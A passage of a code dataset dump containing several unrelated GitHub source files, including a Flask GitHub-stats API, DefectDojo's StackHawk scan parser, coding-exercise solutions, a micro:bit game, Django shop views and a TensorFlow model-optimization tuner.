=============================')\n all_users = {'users': []}\n\n all_users['users'] = user_fetcher()\n with open(\"users.json\", \"w\", encoding=\"utf-8\",) as f:\n json.dump(all_users,\n f,\n indent=4,\n sort_keys=True)\n print('============================= END JOB =============================')\n print(f\"JOB TAKEN TIME {time.time()-start_time} seconds\")\n return jsonify({\"ok\": \"ok\"})\n\n\n@app.route('/users/contributions/senegal', methods=['GET'])\ndef fetch_senegal_users():\n json_file = open('users.json', 'r')\n data = json.loads(json_file.read())\n return jsonify(data)\n\n\n@app.route('/users/search', methods=['GET'])\ndef list_users_by_location():\n query_args = request.args\n variables = {'query': query_builder_string(query_args)}\n users = []\n data = handle_response(\n user_fetcher(\n query_list_user(\n query_builder_string(query_args),\n query_args.get('after')),\n variables=variables,\n single_fetch=True),\n \"search\")\n if (data.get('message')):\n return jsonify(data)\n cursor = data['pageInfo']['endCursor']\n users.extend(data['nodes'])\n while (data[\"pageInfo\"]['hasNextPage']):\n data = handle_response(user_fetcher(query_list_user(\n query_builder_string(query_args),\n cursor), variables=variables, single_fetch=True), \"search\")\n if (data.get('message')):\n return jsonify(data)\n cursor = data[\"pageInfo\"]['endCursor']\n users.extend(data['nodes'])\n return jsonify(users)\n\n\n@app.route('/get-user-file', methods=['GET'])\ndef get_user_file(): \n return send_file('users.json')\n\n@app.route('/users/', methods=['GET'])\ndef get_user_by_user(username):\n\n data = handle_response(\n user_fetcher(\n query_get_one_user(username),\n single_fetch=True),\n \"user\")\n if (data.get(\"message\")):\n return jsonify(data)\n return jsonify(format_user(data))\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return {\"message\": \"Ressource introuvable\"}\n\nif __name__ == '__main__':\n app.run(debug=int(os.getenv('FLASK_DEBUG', False)), port=80, host=\"0.0.0.0\")\n\n@app.route('/healthcheck')\ndef healthcheck():\n return \"ok\", 200 ","repo_name":"bambadiagne/github-user-stats","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"} +{"seq_id":"41930456044","text":"\nimport numpy as np\nfrom tensorflow.contrib import learn\nimport re\n\nx_ntext = ['there ------ are good people in this world, and they are not only muslims; you know ge', 'This is a a dog']\nx_text=[]\nfor line in x_ntext:\n s=re.sub(\"[\\s+\\.\\!\\/_,\\-\\;$%^*(+\\\"\\')]+|[+——()?【】“”!,;;。?、~@#¥%……&*()_-《》]+'-,------------------------------------------------------ ;\",' ',line)\n x_text.append(s.lower())\nprint(x_text)\n\n\nmax_document_length = max([len(x.split(\" \")) for x in x_text])\n\n## Create the vocabularyprocessor object, setting the max lengh of the documents.\nvocab_processor = learn.preprocessing.VocabularyProcessor(max_document_length)\n\n## Transform the documents using the vocabulary.\nx = np.array(list(vocab_processor.fit_transform(x_text)))\n\n## Extract word:id mapping from the object.\nvocab_dict = vocab_processor.vocabulary_._mapping\n\n## Sort the vocabulary dictionary on the basis of values(id).\n## Both statements perform same task.\n#sorted_vocab = sorted(vocab_dict.items(), key=operator.itemgetter(1))\nsorted_vocab = sorted(vocab_dict.items(), key = lambda x : x[1])\n\n## Treat the id's as index into list and create a list of words in the ascending order of id's\n## word with id i goes at index i of the list.\nvocabulary = list(list(zip(*sorted_vocab))[0])\n\nprint(vocabulary)\nprint(x)","repo_name":"ShanZhang2017/SACQA","sub_path":"SACQA/ne_ttt.py","file_name":"ne_ttt.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11172393581","text":"import json\n\nfrom dojo.models import Endpoint, Finding\nfrom django.utils.dateparse import parse_datetime\n\n\nclass StackHawkScanMetadata:\n def __init__(self, completed_scan):\n self.date = completed_scan[\"scan\"][\"startedTimestamp\"]\n self.component_name = completed_scan[\"scan\"][\"application\"]\n self.component_version = completed_scan[\"scan\"][\"env\"]\n self.static_finding = False\n self.dynamic_finding = True\n self.service = completed_scan[\"scan\"][\"application\"]\n\n\nclass StackHawkParser(object):\n \"\"\"\n DAST findings from StackHawk\n \"\"\"\n\n def get_scan_types(self):\n return [\"StackHawk HawkScan\"]\n\n def get_label_for_scan_types(self, scan_type):\n return \"StackHawk HawkScan\"\n\n def get_description_for_scan_types(self, scan_type):\n return \"StackHawk webhook event can be imported in JSON format.\"\n\n def get_findings(self, json_output, test):\n completed_scan = self.__parse_json(json_output)\n\n metadata = StackHawkScanMetadata(completed_scan)\n findings = self.__extract_findings(completed_scan, metadata, test)\n\n return findings\n\n def __extract_findings(\n self, completed_scan, metadata: StackHawkScanMetadata, test\n ):\n findings = {}\n\n if \"findings\" in completed_scan:\n raw_findings = completed_scan[\"findings\"]\n\n for raw_finding in raw_findings:\n key = raw_finding[\"pluginId\"]\n if key not in findings:\n finding = self.__extract_finding(\n raw_finding, metadata, test\n )\n findings[key] = finding\n\n # Update the test description these scan results are linked to.\n test.description = \"View scan details here: \" + self.__hyperlink(\n completed_scan[\"scan\"][\"scanURL\"]\n )\n\n return list(findings.values())\n\n def __extract_finding(\n self, raw_finding, metadata: StackHawkScanMetadata, test\n ) -> Finding:\n steps_to_reproduce = \"Use a specific message link and click 'Validate' to see the cURL!\\n\\n\"\n\n host = raw_finding[\"host\"]\n endpoints = []\n\n paths = raw_finding[\"paths\"]\n for path in paths:\n steps_to_reproduce += (\n \"**\"\n + path[\"path\"]\n + \"**\"\n + self.__endpoint_status(path[\"status\"])\n + \"\\n\"\n + self.__hyperlink(path[\"pathURL\"])\n + \"\\n\"\n )\n endpoint = Endpoint.from_uri(host + path[\"path\"])\n endpoints.append(endpoint)\n\n are_all_endpoints_risk_accepted = self.__are_all_endpoints_in_status(\n paths, \"RISK_ACCEPTED\"\n )\n are_all_endpoints_false_positive = self.__are_all_endpoints_in_status(\n paths, \"FALSE_POSITIVE\"\n )\n\n finding = Finding(\n test=test,\n title=raw_finding[\"pluginName\"],\n date=parse_datetime(metadata.date),\n severity=raw_finding[\"severity\"],\n description=\"View this finding in the StackHawk platform at:\\n\"\n + self.__hyperlink(raw_finding[\"findingURL\"]),\n steps_to_reproduce=steps_to_reproduce,\n component_name=metadata.component_name,\n component_version=metadata.component_version,\n static_finding=metadata.static_finding,\n dynamic_finding=metadata.dynamic_finding,\n vuln_id_from_tool=raw_finding[\"pluginId\"],\n nb_occurences=raw_finding[\"totalCount\"],\n service=metadata.service,\n false_p=are_all_endpoints_false_positive,\n risk_accepted=are_all_endpoints_risk_accepted,\n )\n\n finding.unsaved_endpoints.extend(endpoints)\n return finding\n\n @staticmethod\n def __parse_json(json_output):\n report = json.load(json_output)\n\n if (\n \"scanCompleted\" not in report\n or \"service\" not in report\n or report[\"service\"] != \"StackHawk\"\n ):\n # By verifying the json data, we can now make certain assumptions.\n # Specifically, that the attributes accessed when parsing the finding will always exist.\n # See our documentation for more details on this data:\n # https://docs.stackhawk.com/workflow-integrations/webhook.html#scan-completed\n raise ValueError(\n \" Unexpected JSON format provided. \"\n \"Need help? \"\n \"Check out the StackHawk Docs at \"\n \"https://docs.stackhawk.com/workflow-integrations/defect-dojo.html\"\n )\n\n return report[\"scanCompleted\"]\n\n @staticmethod\n def __hyperlink(link: str) -> str:\n return \"[\" + link + \"](\" + link + \")\"\n\n @staticmethod\n def __endpoint_status(status: str) -> str:\n if status == \"NEW\":\n return \"** - New**\"\n elif status == \"RISK_ACCEPTED\":\n return '** - Marked \"Risk Accepted\"**'\n elif status == \"FALSE_POSITIVE\":\n return '** - Marked \"False Positive\"**'\n else:\n return \"\"\n\n @staticmethod\n def __are_all_endpoints_in_status(paths, check_status: str) -> bool:\n return all(item[\"status\"] == check_status for item in paths)\n","repo_name":"DefectDojo/django-DefectDojo","sub_path":"dojo/tools/stackhawk/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":5306,"program_lang":"python","lang":"en","doc_type":"code","stars":3128,"dataset":"github-code","pt":"18"} +{"seq_id":"22665345862","text":"from typing import List\n\n\ndef orangesRotting(grid: List[List[int]]) -> int:\n\n rottens = set()\n goods = set()\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n orange = grid[i][j]\n if orange == 1:\n goods.add((i, j))\n elif orange == 2:\n rottens.add((i, j))\n\n offsets = [(0, 1), (0, -1), (1, 0), (-1, 0)]\n\n more_found = True\n counter = 0\n rotten_current = [rotten for rotten in rottens]\n while more_found:\n more_found = False\n prev = counter\n new_rotten = set()\n for rotten in rotten_current:\n for offset in offsets:\n x_spot = offset[1] + rotten[1]\n y_spot = offset[0] + rotten[0]\n if x_spot >= 0 and x_spot <= len(grid[0]) and y_spot >= 0 and y_spot <= len(grid) and (x_spot, y_spot) in goods:\n new_rotten.add((x_spot, y_spot))\n goods.remove((x_spot, y_spot))\n more_found = True\n if prev == counter:\n counter += 1\n rotten_current = new_rotten\n if len(goods) > 0:\n return -1\n return counter\n\nquestion = [[1],[2],[1],[2]]\nanswer = orangesRotting(question)\n","repo_name":"mohanwer/algorithms-study","sub_path":"leet_code/rotting_oranges.py","file_name":"rotting_oranges.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"5749609135","text":"import sys\nimport argparse\nimport math\nimport itertools\n\nreset_report = None\n\ndef print_usage(name, input_file):\n print(f\"Usage: python3 {name} {input_file}\")\n\ndef load_inputs(input_file):\n global reset_report\n report = []\n\n if reset_report is not None:\n report = reset_report.copy()\n else:\n for line in input_file:\n report.append(int(line[:-1])) #remove \\n\n\n if reset_report is None:\n reset_report = report.copy()\n\n return report\n\ndef reduced(permutations):\n reduced_permutations = []\n\n bookmarked_idx = 0\n for index in range(len(permutations)):\n if index + 2 >= len(permutations):\n reduced_permutations.append(1)\n else:\n check_list = permutations[index:index+3]\n # print(f\"check_list {check_list}\")\n if math.prod(check_list) == 8:\n reduced_permutations.append(7)\n bookmarked_idx = index + 3\n elif index >= bookmarked_idx: \n reduced_permutations.append(permutations[index])\n\n\n return reduced_permutations\n\ndef part_1(input_file):\n chargers = sorted(load_inputs(input_file))\n# print(chargers[-1:])\n chargers.append(chargers[-1:][0] + 3)\n# print(chargers)\n\n counts = [0, 0, 0, 0]\n last_joltage = 0\n for index in range(len(chargers)):\n if chargers[index] - last_joltage <= 3:\n counts[chargers[index] - last_joltage] += 1\n else:\n print(\"ERROR: joltage gap greater than 3\")\n\n last_joltage = chargers[index]\n\n print(counts)\n print(f\"{counts[1]} * {counts[3]} = {counts[1]*counts[3]}\")\n\ndef part_2(input_file):\n chargers = sorted(load_inputs(input_file))\n phone_charger = chargers[-1:][0] + 3\n chargers.append(phone_charger)\n print(chargers)\n\n count = 1 \n counts = [0, 0, 0, 0]\n permutations = []\n last_joltage = 0\n last_last_joltage = 0\n for index in range(len(chargers)):\n if chargers[index] - last_joltage == 3:\n counts[chargers[index] - last_joltage] += 1\n permutations.append(1)\n elif chargers[index] - last_joltage == 1:\n counts[chargers[index] - last_joltage] += 1\n if last_joltage - last_last_joltage == 1:\n permutations.append(2)\n if last_joltage - last_last_joltage == 1:\n count *= 2\n else:\n # print(\"ERROR: joltage gap greater than 3\")\n break\n\n last_last_joltage = last_joltage\n last_joltage = chargers[index]\n\n print(f\"permutations {permutations}\")\n permutations = reduced(permutations)\n print(f\"pruned {permutations}\")\n\n print(f\"count of numberic gaps = {counts}\") \n print(f\"count of sub_sets = {math.prod(permutations)}\")\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Compute joltage gaps.\")\n parser.add_argument('file', type=argparse.FileType('r'))\n parser.add_argument('--part', type=int, required=True, help='Part 1 or Part 2')\n\n args = parser.parse_args()\n\n if (len(sys.argv) > 1):\n with args.file as input_file:\n if args.part == 1:\n part_1(input_file)\n elif args.part == 2:\n part_2(input_file)\n else:\n print_usage(sys.argv[0], args.file)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"smokeytheblair/adventcode","sub_path":"2020/day10.py","file_name":"day10.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"30159161305","text":"from env import APP_ENV, TEMPLATES\nimport mako.lookup\nimport haml\n\nlookup = mako.lookup.TemplateLookup([\"views\"], preprocessor=haml.preprocessor)\n\ndef lookup_template(template_name):\n template = TEMPLATES.get(template_name)\n cache_template = template and APP_ENV != \"development\"\n if cache_template: return template\n template = lookup.get_template(f'{template_name}.haml')\n TEMPLATES[template_name] = template\n return template\n\ndef render(template_name, **args):\n template = lookup_template(template_name)\n return template.render(**args)\n","repo_name":"makevoid/fastapi-todo-app","sub_path":"lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"7733158645","text":"#####################\n### flappy sprite ###\n##### by Mike W #####\n#####################\n\n# Import Starter Pack\nfrom microbit import *\nfrom microsprite import *\nfrom groupofsprites import *\nfrom random import randint, choice\nimport speech\n\n# Clear Screen at Start\ndisplay.clear()\n\n# Variable Starter Pack\nx = 1\ny = 0\nbrightness = 9\nscore = 0\n\n# Create Player\nplayer = Sprite(x, y, brightness)\nplayer.appear()\n\n# Create the Obstacles\npipe0 = GroupOfSprites([\n {'x': 4, 'y': 4}, \n {'x': 4, 'y': 3},], \n brightness)\npipe1 = GroupOfSprites([\n {'x': 4, 'y': 4}, \n {'x': 4, 'y': 3}, \n {'x': 4, 'y': 2}],\n brightness)\npipe2 = GroupOfSprites([\n {'x': 4, 'y': 4}, \n {'x': 4, 'y': 3}, \n {'x': 4, 'y': 2},\n {'x': 4, 'y': 1}],\n brightness)\npipe3 = GroupOfSprites([\n {'x': 4, 'y': 4}, \n {'x': 4, 'y': 3},\n {'x': 4, 'y': 0}], \n brightness)\npipes = [pipe0, pipe1, pipe2, pipe3]\n\n# timing variables\nPIPE_DELAY = 800\nFALL_DELAY = 1000\nFLAP_DELAY = 200\n\nflap_time1 = 0\nflap_time2 = 0\npipe_time = 0\nfall_time = 0\nstall_time = 0\n\n# Create a Pipe\npipe = choice(pipes)\npipe.appear()\nx = 4\n\n\nwhile True:\n\n # Capture Time\n elapsed_time_flap1 = running_time()\n elapsed_time_flap2 = running_time()\n elapsed_time_pipe = running_time()\n elapsed_time_fall = running_time()\n elapsed_time_stall = running_time()\n\n # Flap\n if button_a.was_pressed():\n y = y - 1\n if y < 0:\n y = 0\n \n \n player.moveTo(1, y)\n flap_time1 = running_time()\n \n \n # Collision\n elif player.getPosition() in pipe.getGroupPosition():\n print('crash')\n break\n \n # Fall\n elif elapsed_time_fall - fall_time >= FALL_DELAY:\n y = y + 1\n if y > 4:\n y = 4\n\n player.moveTo(1, y)\n fall_time = running_time()\n\n elif elapsed_time_stall - stall_time >= 2000:\n player.moveTo(1, y)\n stall_time = running_time()\n \n # Wall\n elif elapsed_time_pipe - pipe_time >= PIPE_DELAY:\n x -= 1\n if x <= -1:\n x = 4\n score += 1\n pipe.vanish()\n pipe = choice(pipes)\n pipe.appear()\n \n else:\n pipe.moveToX(x)\n \n pipe_time = running_time()\n\ndisplay.show(Image.SKULL)\nsleep(500)\ndisplay.scroll(score)","repo_name":"kiraoyd/microSprite","sub_path":"flappyspriterunningtime.py","file_name":"flappyspriterunningtime.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42448980376","text":"from django.http import Http404, HttpResponse, HttpRequest\nfrom django.shortcuts import render\nfrom django.views.generic import View\nfrom .models import Producto\nfrom .forms import SearchBebidaForm\nimport json\n# Create your views here.\n\ndef para_ajax(request):\n params = {}\n search = SearchBebidaForm()\n params['search'] = search\n return render(request, \"ver_ajax.html\", params)\n\nclass BuscarBebida(View):\n def get(self, request):\n if request.is_ajax:\n palabra=request.GET.get('term', '')\n bebida=Producto.objects.filter(nombre__icontains=palabra)\n result= []\n for an in bebida:\n data= {}\n data['label']=an.nombre\n result.append(data)\n data_json= json.dumps(result)\n else:\n print(\"fallo\")\n data_json= \"fallo\"\n mimetype=\"application/json\"\n return HttpResponse(data_json, mimetype)\n\nclass BuscarBebida2(View):\n\n def get(self, request):\n if request.is_ajax:\n q = request.GET['valor']\n bebida = Producto.objects.filter(nombre__icontains=q)\n results = []\n for rec in bebida:\n print(rec.nombre)\n print(rec.estado)\n print(rec.img)\n\n data = {}\n data['producto'] = rec.nombre\n data['estado'] = rec.estado\n data['ruta_imagen'] = str(rec.img)\n results.append(data)\n data_json = json.dumps(results)\n\n else:\n data_json = \"fallo\"\n mimetype = \"application/json\"\n return HttpResponse(data_json, mimetype)\n \nclass EjemploTienda(View):\n template= \"tienda.html\"\n\n def get(self, request):\n params={}\n try:\n productos = Producto.objects.all()\n except Producto.DoesNotExist:\n raise Http404\n params [\"productos\"] = productos\n\n try:\n request.session[\"carro\"]\n except:\n request.session[\"carro\"] = {}\n\n\n return render(request, self.template, params)\n\n\nclass VerImagenes(View): \n template = \"verimagenes.html\"\n\n def get(self, request):\n params={}\n try:\n productos = Producto.objects.all()\n except Producto.DoesNotExist:\n raise Http404\n params[\"productos\"] = productos\n \n return render(request, self.template, params)\n\n\ndef ver_imagen(request, producto_id):\n params={}\n try:\n producto = Producto.objects.get(pk=producto_id)\n except Producto.DoesNotExist:\n raise Http404\n params[\"producto\"] = producto\n \n return render(request, \"verimagen.html\", params)\n","repo_name":"LucasMigliaccio/UTN_TP","sub_path":"tienda/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16551691489","text":"\"\"\"\n1. File Owners\n\nImplement a group_by_owners function that:\n\n* Accepts a dictionary containing the file owner name for each file name.\n* Returns a dictionary containing a list of file names for each owner name, in any order.\n\nFor example, for dictionary {'Input.txt': 'Randy', 'Code.py': 'Stan', 'Output.txt': 'Randy'}\nthe group_by_owners function should return\n{'Randy': ['Input.txt', 'Output.txt'], 'Stan': ['Code.py']}.\n\n\nTime: 10.41 min\nTests: 3 pass / 0 fail\n Example case: Correct answer\n Each owner has a single file: Correct answer\n Various files: Correct answer\n\n\n* Subject - Swapping key and value of dict\n\n* Learning\n 1. Make value of dict as list to add more than one data\n 2. The usage of method \"items()\"\n\n\"\"\"\n\n\n# class FileOwners:\n#\n# @staticmethod\n# def group_by_owners(files):\n#\n# result_dict = {}\n#\n# # Make a list value\n# for i in files:\n# owner = files[i]\n# result_dict[owner] = []\n#\n# # Input file into the list\n# for i, j in files.items():\n# print(i, j)\n# result_dict[j].append(i)\n#\n# return result_dict\n#\n#\n# files = {\n# 'Input.txt': 'Randy',\n# 'Code.py': 'Stan',\n# 'Output.txt': 'Randy'\n# }\n# print(FileOwners.group_by_owners(files))\n\n\n\"\"\"\n181111 Review\n\nTime: 5 min\nTests: 3 pass / 0 fail\n Example case: Correct answer\n Each owner has a single file: Correct answer\n Various files: Correct answer\n\"\"\"\n\n\nclass FileOwners:\n\n @staticmethod\n def group_by_owners(files):\n\n new_dict = {}\n for k, v in files.items():\n if new_dict.get(v):\n new_dict[v].append(k)\n else:\n new_dict[v] = [k]\n # new_dict[v].append(k) if new_dict.get(v) else new_dict[v] = [k]\n return new_dict\n\n\nfiles = {\n 'Input.txt': 'Randy',\n 'Code.py': 'Stan',\n 'Output.txt': 'Randy'\n}\nprint(FileOwners.group_by_owners(files))\n\n\n\"\"\"\n181129 Review 2\n\nTime: 5 min\nTests: 3 pass / 0 fail\n Example case: Correct answer\n Each owner has a single file: Correct answer\n Various files: Correct answer\n\"\"\"\n\n\n# class FileOwners:\n#\n# @staticmethod\n# def group_by_owners(files):\n#\n# dict = {}\n# for key in files:\n# # value = files[key]\n# # if dict.get(value):\n# # dict[value].append(key)\n# # else:\n# # dict[value] = [key]\n#\n# dict[files[key]] = dict[files[key]] + [key] if dict.get(files[key]) else [key]\n#\n# return dict\n#\n#\n# files = {\n# 'Input.txt': 'Randy',\n# 'Code.py': 'Stan',\n# 'Output.txt': 'Randy'\n# }\n# print(FileOwners.group_by_owners(files))\n","repo_name":"smallbee3/algorithm-problems","sub_path":"python/testdome/01_file_owners.py","file_name":"01_file_owners.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"32230665743","text":"import numpy as np\nfrom PIL import Image\nimport torch\nimport torch.nn.functional as F\nimport math\nimport cv2\n\ndef calcPSNR(img1, img2):\n # img1 and img2 have range [0, 255]\n img1 = img1.astype(np.float32)\n img2 = img2.astype(np.float32)\n mse = np.mean((img1 - img2)**2)\n if mse == 0:\n return float('inf')\n return 20 * math.log10(255.0 / math.sqrt(mse))\n\n\ndef unsharp_mask(image, kernel_size=(7, 7), sigma=1, amount=1.0, threshold=0):\n \"\"\"Return a sharpened version of the image, using an unsharp mask.\"\"\"\n blurred = cv2.GaussianBlur(image, kernel_size, sigma)\n sharpened = float(amount + 1) * image - float(amount) * blurred\n sharpened = np.maximum(sharpened, np.zeros(sharpened.shape))\n sharpened = np.minimum(sharpened, 255 * np.ones(sharpened.shape))\n sharpened = sharpened.round().astype(np.uint8)\n if threshold > 0:\n low_contrast_mask = np.absolute(image - blurred) < threshold\n np.copyto(sharpened, image, where=low_contrast_mask)\n return sharpened\n\n\n\nif __name__ == \"__main__\":\n\n GT = np.array(Image.open(\"gt.png\"))\n LR = np.array(Image.open(\"resize.png\"))\n # LR = unsharp_mask(LR)\n h, w = GT.shape\n\n GT_tensor = torch.cuda.FloatTensor(GT[np.newaxis, np.newaxis, :, :])\n LR_tensor = torch.cuda.FloatTensor(LR[np.newaxis, np.newaxis, :, :])\n\n GT_unfold = F.unfold(GT_tensor, (8, 8))\n LR_unfold = F.unfold(LR_tensor, (8, 8))\n\n GT_mean = torch.mean(GT_unfold, 1, keepdim=True)\n LR_mean = torch.mean(LR_unfold, 1, keepdim=True)\n\n divider = torch.sum((GT_unfold - GT_mean)**2 , 1, keepdim=True) + 1e-6\n k = torch.sum((GT_unfold - GT_mean) * (LR_unfold - LR_mean), 1, keepdim=True) / (divider)\n k = torch.clamp(k, 0, 1)\n print(\"K max: %f, min: %f\" % (k.max(), k.min()))\n\n r = k * GT_unfold + (LR_mean - k * GT_mean)\n counter = F.fold(torch.ones(r.shape).cuda(), (h, w), kernel_size=(8, 8))\n Restore = F.fold(r, (h, w), kernel_size=(8, 8))\n\n result = Restore / counter\n result = result.squeeze().detach().cpu().numpy().astype(np.uint8)\n\n Image.fromarray(result).save(\"./adm.png\")\n\n\n restore_psnr = calcPSNR(result, GT)\n LR_psnr = calcPSNR(LR, GT)\n\n print(\"restore psnr: %f\" % restore_psnr)\n print(\"LR psnr: %f\" % LR_psnr)\n\n","repo_name":"XiaotianM/ADM","sub_path":"adm_scripts_UMS.py","file_name":"adm_scripts_UMS.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7057764106","text":"from tf_optimizer.optimizer.optimizer import Optimizer\nfrom tf_optimizer.benchmarker.benchmarker import Benchmarker\nfrom tf_optimizer.dataset_manager import DatasetManager\nfrom tf_optimizer.optimizer.optimization_param import (\n OptimizationParam,\n QuantizationLayerToPrune,\n QuantizationTechnique,\n)\nfrom tf_optimizer.benchmarker.utils import get_tflite_model_size\nfrom tf_optimizer_core.benchmarker_core import BenchmarkerCore\nfrom tf_optimizer.configuration import Configuration\nimport tensorflow as tf\nimport tempfile\nimport pathlib\nimport multiprocessing\nimport logging\nimport sys\nfrom datetime import datetime\nfrom statistics import mean\nfrom time import time\n\n\nclass SpeedMeausureCallback(tf.keras.callbacks.Callback):\n current_batch_times = []\n start_time = 0\n\n def on_test_batch_begin(self, batch, logs=None):\n self.start_time = time()\n\n def on_test_batch_end(self, batch, logs=None):\n delta = time() - self.start_time\n delta = delta / 1000\n self.current_batch_times.append(delta)\n\n def get_avg_time(self):\n return mean(self.current_batch_times)\n\n\nclass Tuner:\n \"\"\"\n This class is responsible to find the optimal parameters for the optimization\n \"\"\"\n\n def __init__(\n self,\n original_model: tf.keras.Sequential,\n dataset: DatasetManager,\n use_remote_nodes=False,\n client=None,\n batchsize=32,\n ) -> None:\n self.original_model = original_model\n self.dataset_manager = dataset\n self.bm = Benchmarker(use_remote_nodes, client=client)\n self.batch_size = batchsize\n self.optimization_param = OptimizationParam()\n self.optimization_param.toggle_pruning(True)\n self.optimization_param.set_pruning_target_sparsity(0.5)\n self.optimization_param.toggle_quantization(True)\n self.optimization_param.set_number_of_cluster(16)\n self.optimization_param.toggle_clustering(True)\n self.applied_prs = []\n self.no_cluster_prs = []\n self.max_cluster_fails = 0\n now = datetime.now()\n date_time = now.strftime(\"%m-%d-%Y-%H:%M:%S\")\n logging.basicConfig(\n filename=\"logs/tuner{}.log\".format(date_time),\n encoding=\"utf-8\",\n level=logging.INFO,\n )\n logging.info(f\"DS:{self.dataset_manager.get_path()}\")\n logging.getLogger().addHandler(logging.StreamHandler(sys.stdout))\n self.configuation = Configuration()\n layersToQuantize = self.configuation.getConfig(\"QUANTIZATION\", \"layers\")\n if layersToQuantize == \"ALL\":\n self.optimization_param.set_quantized_layers(\n QuantizationLayerToPrune.AllLayers\n )\n else:\n self.optimization_param.set_quantized_layers(\n QuantizationLayerToPrune.OnlyDeepLayer\n )\n qTech = self.configuation.getConfig(\"QUANTIZATION\", \"type\")\n if qTech == \"QAT\":\n print(\"Quantization Aware Training Selected\")\n self.optimization_param.set_quantization_technique(\n QuantizationTechnique.QuantizationAwareTraining\n )\n elif qTech == \"PTQ\":\n print(\"Post Training Quantization Selected\")\n self.optimization_param.set_quantization_technique(\n QuantizationTechnique.PostTrainingQuantization\n )\n else:\n print(f\"QUANTIZATION TYPE:{qTech} NOT VALID\")\n exit()\n\n @staticmethod\n def measure_keras_accuracy_process(\n model_path: str,\n dataset_manager: bytes,\n batch_size: int,\n lr: float,\n from_logits: bool,\n q: multiprocessing.Queue,\n ):\n print(\"Measuring keras model accuracy\")\n print(f\"model path:{model_path}\")\n gpus = tf.config.experimental.list_physical_devices(\"GPU\")\n gpu = gpus[0]\n tf.config.experimental.set_memory_growth(gpu, True)\n\n model = tf.keras.models.load_model(model_path)\n print(f\"MODEL LOADED {model}\")\n\n dm = DatasetManager.fromJSON(dataset_manager)\n\n optimizer = tf.keras.optimizers.Adam(learning_rate=lr)\n loss = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=from_logits)\n model.compile(optimizer=optimizer, loss=loss, metrics=[\"accuracy\"])\n speedCallback = SpeedMeausureCallback()\n metrics = model.evaluate(\n dm.generate_batched_dataset(batch_size)[1], callbacks=[speedCallback]\n )\n res = BenchmarkerCore.Result()\n res.time = speedCallback.get_avg_time()\n res.accuracy = metrics[1]\n q.put(res)\n\n async def test_model(self, model) -> BenchmarkerCore.Result:\n if isinstance(model, bytes):\n print(\"Measuring tflite model accuracy\")\n bc = BenchmarkerCore(\n self.dataset_manager.get_validation_folder(), self.dataset_manager.scale\n )\n result = await bc.test_model(\n model, callback=Benchmarker.OfflineProgressBar()\n )\n result.size = get_tflite_model_size(model)\n return result\n\n if isinstance(model, str) or isinstance(model, pathlib.PosixPath):\n model = str(model)\n print(f\"Measuring {model}\")\n # Start a new process\n lr: float = self.original_model.optimizer.learning_rate.numpy()\n try:\n from_logits: bool = self.original_model.loss.get_config()[\"from_logits\"]\n except AttributeError:\n from_logits: bool = False\n q = multiprocessing.Queue()\n\n serialized_dm = self.dataset_manager.toJSON()\n p = multiprocessing.Process(\n target=Tuner.measure_keras_accuracy_process,\n args=(\n model,\n serialized_dm,\n self.batch_size,\n lr,\n from_logits,\n q,\n ),\n )\n p.start()\n res = q.get()\n p.join()\n return res\n\n async def getOptimizedModel(\n self, model_path, targetAccuracy: float, percentagePrecision: float = 2.0\n ) -> tuple[bytes, BenchmarkerCore.Result]:\n iterations = 0\n pruningRatio = 0.5\n minPruningRatio = 0\n maxPruningRatio = 1\n tflite_model = None\n model_result = None\n reachedAccuracy = 0\n self.optimization_param.set_pruning_target_sparsity(pruningRatio)\n counter_back_direction = 0\n counter_forward_direction = 0\n if self.optimization_param.get_number_of_cluster() <= self.max_cluster_fails:\n self.optimization_param.toggle_clustering(False)\n logging.info(\n f\"SINCE REQUIRED NUMBER OF CLUSTER {self.optimization_param.get_number_of_cluster()} IS BELOW {self.max_cluster_fails}, CLUSTERIZATION IS DISABLED\"\n )\n while abs(reachedAccuracy - targetAccuracy) > percentagePrecision / 100:\n # Computing pruning rate\n if (\n iterations == 0\n and self.optimization_param.isClusteringEnabled()\n and len(self.applied_prs) > 0\n ):\n pruningRatio = mean(self.applied_prs)\n elif (\n iterations == 0\n and not self.optimization_param.isClusteringEnabled()\n and len(self.no_cluster_prs) > 0\n ):\n pruningRatio = mean(self.no_cluster_prs)\n elif iterations == 0 or (\n iterations == 1\n and (len(self.applied_prs) > 0 or len(self.no_cluster_prs) > 0)\n ):\n # If first iteration and applied_pr is empty\n # if mean of applied_pr has failed, so it starts from the middle\n pruningRatio = 0.5\n elif reachedAccuracy < targetAccuracy or tflite_model is None: # Go left\n # Pruning ratio decreases\n maxPruningRatio = pruningRatio\n pruningRatio = (minPruningRatio + pruningRatio) / 2\n counter_back_direction += 1\n counter_forward_direction = 0\n else: # Go rigth\n # Pruning ration increases\n minPruningRatio = pruningRatio\n pruningRatio = (maxPruningRatio + pruningRatio) / 2\n counter_forward_direction += 1\n counter_back_direction = 0\n\n # Apply optimizations\n self.optimization_param.set_pruning_target_sparsity(pruningRatio)\n tf.keras.backend.clear_session()\n optimizer = 